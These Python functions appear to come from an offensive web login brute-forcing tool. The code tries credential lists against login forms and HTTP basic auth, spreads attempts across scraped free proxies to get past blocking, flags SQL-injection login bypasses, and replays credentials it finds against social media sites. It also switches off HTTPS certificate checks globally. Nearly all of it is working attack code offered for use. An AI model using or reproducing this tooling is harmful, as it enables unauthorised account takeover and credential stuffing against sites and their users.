def checProxyConn(proxyAddr, target, result, verbose): try: proxyTest = Browser() proxyTest.set_random_proxy(proxyAddr) if verbose: events.info("Testing %s" % (proxyAddr)) proxyTest.open_url(target) if verbose: events.success("Connected via %s" %(proxyAddr), "PROXY") result.put(proxyAddr) except KeyboardInterrupt: events.error("Terminated by user", "STOPPED") global set_break set_break = True except Exception as error: if verbose: events.error("[%s] [%s]" % (proxyAddr, error)) finally: try: proxyTest.close() except: pass
def submit(options, login_field, creds, result): password, username = creds if username in [x[1] for x in list(result.queue)]: return True try: proc = Browser() if options.proxy: proxyAddr = list_choose_randomly(options.proxy) proc.set_random_proxy(proxyAddr) else: proxyAddr = "" resp = proc.open_url(options.url, auth=(username, password)) if resp.status_code == 401: if options.verbose: events.fail("['%s':%s'] <==> %s" % (username, password, proxyAddr), title=proc.get_title()) elif resp.status_code > 400: events.error( "[%s] ['%s': '%s']" % (proc.get_url(), username, password), "%s" % resp.status_code) else: events.found(username, password, proc.get_title()) result.put([options.url, username, password]) except Exception as error: events.error("%s" % (error), "BRUTE") return False finally: proc.close()
def get_options(self): """ Analysis flags to print help or parse flag (Try to save performance) :return: list[dummy] flags with defined values """ # Get size of argv array (don't have to call len function multiple times) size_of_options = len(sys.argv) if size_of_options == 1: # If user gives no argument, print help banner [short] and exit from utils import helps helps.print_fast_help() events.info("Use: %s for more information" % (self.HELP_OPTIONS)) sys.exit(0) else: # Check if options has help flag -> print help banner [full] and exit if [ True if flag in sys.argv else False for flag in self.HELP_OPTIONS ][0]: from utils import helps helps.print_help() try: self.parse_options(size_of_options) except Exception as error: events.error("%s" % (error), "ARGS")
def parse_proxy(response): try: re_ip = r"\b(?:\d{1,3}\.){3}\d{1,3}\b<\/td><td>\d{1,5}" result = re.findall(re_ip, response) result = [element.replace("</td><td>", ":") for element in result] return result except Exception as error: events.error("%s" % (error), "PROXY")
def file_load(file_location): """ Try open a file and give user file object :param file_location: string = location of the file :return: file object = open(file) """ try: file_object = open(file_location, 'r') return file_object except Exception as error: events.error("%s" % (error)) sys.exit(1)
def find_login_request(options): """ Find and analysis login request from response :param options: object = options of user :return: False or list of string = login request information """ login_request = False try: from cores.browser import Browser proc = Browser() resp = proc.open_url(options.url) """ Check URL type. If Website directs to other URL, options.url is website's panel else: it is login url. Example: options.url = site.com/wp-admin/ -> panel site directs user to wp-login -> login URL options.url = site.com/wp-login.php -> login URL """ if proc.get_url() != options.url: events.info("Website moves to: ['%s']" % (proc.get_url())) options.attack_mode = "--loginbrute" if options.run_options["--verbose"]: events.info("%s" % (proc.get_title()), "TITLE") if resp.status_code == 401: if "WWW-Authenticate" in resp.headers: login_id = basic_http_request(resp.headers) login_request = (login_id, ["Password", "User Name"]) if options.verbose: events.info("HTTP GET login") options.attack_mode = "--httpget" else: login_request = find_login_form(proc.forms()) options.txt = resp.content except KeyboardInterrupt: pass except Exception as error: events.error("%s" % (error), "TARGET") sys.exit(1) finally: try: proc.close() except: pass return login_request
def checkProxyConnProvider(url = "https://free-proxy-list.net/"): try: events.info("Gathering proxies from %s" % (url)) getproxy = Browser() getproxy.open_url(url) events.success("Gathering proxies completed", "PROXY") return getproxy.get_response() except Exception as error: events.error("%s" % (error), "PROXY") sys.exit(1) finally: getproxy.close()
def file_write_next(file_location, data): """ Write data to a file in next line :param file_location: string = file location :param data: string = text to write :return: True """ try: file_object = open(file_location, "a") file_object.write(data) except Exception as error: events.error("%s" % (error)) sys.exit(1) finally: file_object.close()
def file_read(file_location): """ Try open file and read all data :param file_location: string = path to the file :return: string = text in the file """ try: file_object = open(file_location, 'r') return file_object.read() except Exception as error: events.error("%s" % (error)) sys.exit(1) finally: try: file_object.close() except: pass
def file_write(file_location, data): """ Write text to file :param file_location: string = path to file :param data: string = text to write into file :return: None """ try: file_object = open(file_location, "w") file_object.write(data) except Exception as error: events.error("%s" % (error)) sys.exit(1) finally: try: file_object.close() except: pass
def getnew(options): def parse_proxy(response): try: re_ip = r"\b(?:\d{1,3}\.){3}\d{1,3}\b<\/td><td>\d{1,5}" result = re.findall(re_ip, response) result = [element.replace("</td><td>", ":") for element in result] return result except Exception as error: events.error("%s" % (error), "PROXY") def checkProxyConnProvider(url = "https://free-proxy-list.net/"): try: events.info("Gathering proxies from %s" % (url)) getproxy = Browser() getproxy.open_url(url) events.success("Gathering proxies completed", "PROXY") return getproxy.get_response() except Exception as error: events.error("%s" % (error), "PROXY") sys.exit(1) finally: getproxy.close() try: listproxy = parse_proxy(checkProxyConnProvider()) except Exception as error: events.error("%s" % (error), "PROXY") listproxy = "" finally: try: events.success("Gathered %s proxies" % (len(listproxy)), "PROXY") listproxy = "\n".join(listproxy) events.info("Saving result to %s" %(PROXY_PATH), "PROXY") file_write(PROXY_PATH, listproxy) events.success("New proxy list saved", "PROXY") except Exception as error: events.error("%s" % (error), "PROXY") sys.exit(1)
def submit(url, options, tryCreds, result): try: proc = Browser() events.info("Checking %s" % (url), "REAUTH") proc.open(url) loginInfo = find_login_form(proc.forms()) except Exception as error: events.error("%s" % (error), "REAUTH") sys.exit(1) if not loginInfo: events.error("No login form at %s" % (url), "REAUTH") sys.exit(1) else: try: options.url = url loginbrute.submit( # Reverse username + password. Dynamic submit in loginbrute options, loginInfo, tryCreds[-2:][::-1], result) except Exception as error: events.error("%s" % (error), "REAUTH") sys.exit(1)
def run(options, creds): social_urls = data.social_urls().replace("\t", "").split("\n") for url in social_urls: if options.url in url: social_urls.remove(url) result = Queue() # workers = [] try: for tryCreds in creds: for url in social_urls: submit(url, options, tryCreds, result) # if len(workers) == options.threads: # do_job(workers) # del workers[:] # worker = threading.Thread( # target = submit, # args = (url, options, tryCreds, result) # ) # worker.daemon = True # workers.append(worker) # do_job(workers) # del workers[:] except KeyboardInterrupt: events.error("Terminated by user", "STOPPED") sys.exit(1) except SystemExit: events.error("Terminated by system", "STOPPED") except Exception as error: events.error("%s" % (error), "REAUTH") sys.exit(1) finally: result = list(result.queue) if len(result) == 0: events.error("No valid account found", "RESULT") else: from utils import print_table print_table(("Target", "Username", "Password"), *result)
def check_url(url): """ Check if url has valid format or fix it :param url: string = url from option user gives :return: string = url with valid format or False """ try: # Shorter startswith https://stackoverflow.com/a/20461857 """ ftp://something.com https://something.com """ if "://" in url: if not url.startswith(("http://", "https://")): events.error("Invalid URL format") sys.exit(1) else: "Something.com" url = "http://" + url if len(url.split("/")) <= 3: url = url + "/" if url[-1] != "/" else url except: url = None return url
def parse_options(self, size_of_options): """ Parse all flags from sys arguments and save them :param size_of_options: int = size of arguments :return: list[dummy] of flag """ i = 1 while i < size_of_options: # Check flag has format --X if sys.argv[i].startswith("--"): # Save flag values in each option type if sys.argv[i] in self.run_options.keys(): self.run_options[sys.argv[i]] = True elif sys.argv[i] in self.extra_mode: self.extras.append(sys.argv[i]) elif sys.argv[i] in self.ATTACK_MODES: self.attack_mode = sys.argv[i] elif sys.argv[i] in self.PASSWD_GEN: self.extras.append(sys.argv[i]) # Check if flag is wordlist setting elif sys.argv[i] == "--list": if sys.argv[i + 1] in self.WORDLISTS: self.options["-u"] = sys.argv[i + 1] self.options["-p"] = sys.argv[i + 1] i += 1 # Invalid name of wordlist else: events.error("Invalid wordlist", "ARGS") sys.exit(1) # Invalid flag X - Not defined else: events.error("Unknown option %s" % (sys.argv[i]), "ARGS") sys.exit(1) # Check flags with format -X elif sys.argv[i].startswith("-"): # Save value if it is in our dictionary if sys.argv[i] in self.options.keys(): self.options[sys.argv[i]] = sys.argv[i + 1] i += 1 # Invalid flag X - Not defined else: events.error("Unknown option %s" % (sys.argv[i], "ARGS")) sys.exit(1) # No - -> should be URL else: self.url = sys.argv[i] # Increase value if index i += 1
def check_options(options): """ Read common flags of user and give validate values to the program :param options: object: all flags of user :return: True (dummy) all validated value for brute forcing process """ # Read URL from list (file_path) or get URL from option options.report = options.run_options["--report"] options.verbose = options.run_options["--verbose"] try: options.target = file_read( options.options["-l"]).split("\n") if options.options["-l"] else [ options.url ] options.target = list(filter(None, options.target)) except Exception as error: events.error("%s" % (error)) sys.exit(1) # CHECK threads option try: options.threads = int(options.options["-t"]) if options.threads < 1: events.error("Thread must be larger than 1") except Exception as error: events.error("%s" % (error)) sys.exit(1) # CHECK timeout option # try: # options.timeout = int(options.options["-T"]) # if options.timeout < 1: # utils.die("[x] Options: Invalid option \"timeout\"", "Thread number must be larger than 1") # except Exception as error: # utils.die("[x] Options: Invalid option \"timeout\"", error) if options.attack_mode == "--sqli": options.options["-u"], options.options["-p"] = "sqli", "sqli"
def print_table(headers, *args, **kwargs): ################################################ # print beautiful table in terminal style # author @routersploit project # ALL input data must be string ################################################ extra_fill = kwargs.get("extra_fill", 2) header_separator = kwargs.get("header_separator", "-") if not all(map(lambda x: len(x) == len(headers), args)): from utils import events events.error("Error headers", "PrintTable") return False def custom_len(x): try: return len(x) except TypeError: return 0 ##### CRAFTING HEADER ###### fill = [] # headers_line += label: Filling_header # headers_line = headers_line + "Lable 1 | Label 2" headers_line = ' | ' headers_separator_line = ' +' for idx, header in enumerate(headers): column = [custom_len(arg[idx]) for arg in args] column.append(len(header)) current_line_fill = max(column) + extra_fill fill.append(current_line_fill) # label: Filling_header headers_line = "%s%s" % ( "".join((headers_line, "{header:<{fill}}".format(header = header, fill = current_line_fill))), "| " ) headers_separator_line = "%s-%s" % ( "-".join(( headers_separator_line, '{:<{}}'.format(header_separator * current_line_fill, current_line_fill) )), "+" ) # End of crafting header # Print header print("%s\n%s\n%s" % (headers_separator_line, headers_line, headers_separator_line)) # Print contents for arg in args: content_line = ' | ' # print first character before contents for idx, element in enumerate(arg): content_line = "%s%s" % ( "".join(( content_line, '{:{}}'.format(element, fill[idx]) )), "| " ) print(content_line) # Print end line print(headers_separator_line)
def submit(options, login_field, tryCred, result): password, username = tryCred if username in [x[1] for x in list(result.queue)]: return True from cores.browser import Browser isLoginSuccess = "False" try: proc = Browser() if options.proxy: # Set proxy connect proxy_address = list_choose_randomly(options.proxy) proc.set_random_proxy(proxy_address) else: proxy_address = "" proc.open_url(options.url) _form = find_login_form(proc.forms()) if not _form: options.block_text = proc.get_response( ) # TODO check if block text changes if options.verbose: isLoginSuccess = "blocked" events.error("Get blocked", "BRUTE") return False else: form_control, form_fields = _form if options.verbose and login_field != _form: events.info("Login form has been changed", "BRUTE") resp = proc.form_submit(form_control, form_fields, tryCred) from cores.analysis import get_response_diff text_changed, source_changed = get_response_diff( options.txt.decode('utf-8'), resp.content.decode('utf-8')) """ If there is no other login form, check all changes in response If there is no login request from all new urls -> successfully == > Behavior: Login fail, click here or windows.location = login_page """ # "Login form is still there. Oops" if find_login_form(proc.forms()): isLoginForm = True else: isLoginForm = False if not isLoginForm: for new_url in get_redirection(source_changed): if not new_url.startswith("http") and not new_url.endswith( options.exceptions()): try: from urllib.parse import urljoin except ImportError: from urlparse import urljoin new_url = urljoin(options.url, new_url) if new_url and get_domain(options.url) == get_domain(new_url): proc.open_url(new_url) if find_login_form(proc.forms()): isLoginForm = True break else: isLoginForm = False if not isLoginForm: """ Check SQL Injection 1. SQL Injection 2. Login successfully: No SQLi + No Login form """ if check_sqlerror(proc.get_response()): isLoginSuccess = "SQLi" elif text_changed == source_changed and text_changed != options.block_text and options.block_text: pass else: if resp.status_code >= 400: isLoginSuccess = "error" else: isLoginSuccess = "True" # "If we tried login form with username+password field" else: pass return True except Exception as error: """ Sometimes, web servers return error code because of bad configurations, but our cred is true. This code block showing information, for special cases """ isLoginSuccess = "exception" events.error("%s" % (error), "BRUTE") finally: if isLoginSuccess == "SQLi": events.success("SQL Injection bypass", "BRUTE") events.info("['%s': '%s']" % (username, password)) elif isLoginSuccess == "error" and options.verbose: if username: events.error( "['%s':'%s'] <--> %s" % (username, password, proxy_address), "%s" % (resp.status_code)) else: events.error("[%s] <--> %s" % (password, proxy_address), "%s" % (resp.status_code)) elif isLoginSuccess == "True": if username: events.found(username, password, proc.get_title()) result.put([options.url, username, password]) else: events.found('', password, proc.get_title()) result.put([options.url, username, password]) elif isLoginSuccess == "False" and options.verbose: if username: events.fail( "['%s':'%s'] <==> %s" % (username, password, proxy_address), text_changed, proc.get_title()) else: events.fail("['%s'] <==> %s" % (password, proxy_address), text_changed, proc.get_title()) proc.close()
# Get options options = options.ParseOptions() check.check_options(options) if "--getproxy" in options.extras: getproxy.getnew(options) if not options.target: events.info("No URL. Get latest proxy list only", "PROXY") sys.exit(0) else: if not options.run_options["--proxy"]: events.warn("Program runs without any proxy") if not options.target: events.error("URL is required") sys.exit(1) else: # Fix SSL errors https://stackoverflow.com/a/35960702 try: _create_unverified_https_context = ssl._create_unverified_context except AttributeError: # Legacy Python that doesn't verify HTTPS certificates by default pass else: # Handle target environment that doesn't support HTTPS verification ssl._create_default_https_context = _create_unverified_https_context banners.start_banner(options) results = []
def check(options): def run_threads(threads, sending, completed, total): # Run threads for thread in threads: # sending += 1 # Sending progressbar.progress_bar(sending, completed, total) thread.start() # Wait for threads completed for thread in threads: completed += 1 progressbar.progress_bar(sending, completed, total) thread.join() return completed def checProxyConn(proxyAddr, target, result, verbose): try: proxyTest = Browser() proxyTest.set_random_proxy(proxyAddr) if verbose: events.info("Testing %s" % (proxyAddr)) proxyTest.open_url(target) if verbose: events.success("Connected via %s" %(proxyAddr), "PROXY") result.put(proxyAddr) except KeyboardInterrupt: events.error("Terminated by user", "STOPPED") global set_break set_break = True except Exception as error: if verbose: events.error("[%s] [%s]" % (proxyAddr, error)) finally: try: proxyTest.close() except: pass try: proxylist = file_read(PROXY_PATH).split("\n") workers = [] completed, total = 0, len(proxylist) set_break = False for trying, tryProxy in enumerate(proxylist): if set_break: del workers[:] break if len(workers) == options.threads: completed = run_threads(workers, trying, completed, total) del workers[:] worker = threading.Thread( target = checProxyConn, args = (tryProxy, options.url, result, options.verbose) ) worker.daemon = True workers.append(worker) completed = run_threads(workers, trying, completed, total) del workers[:] except Exception as error: events.error("%s" % (error), "PROXY") sys.exit(1) finally: try: _data = "\n".join(list(result.queue)) events.success("%s proxy alive" %(len(_data.split("\n")))) events.info("Saving success list", "PROXY") file_write(LIVE_PATH, _data) events.success("New alive list is saved", "PROXY") except Exception as error: events.error("%s" % (error), "PROXY") sys.exit(1)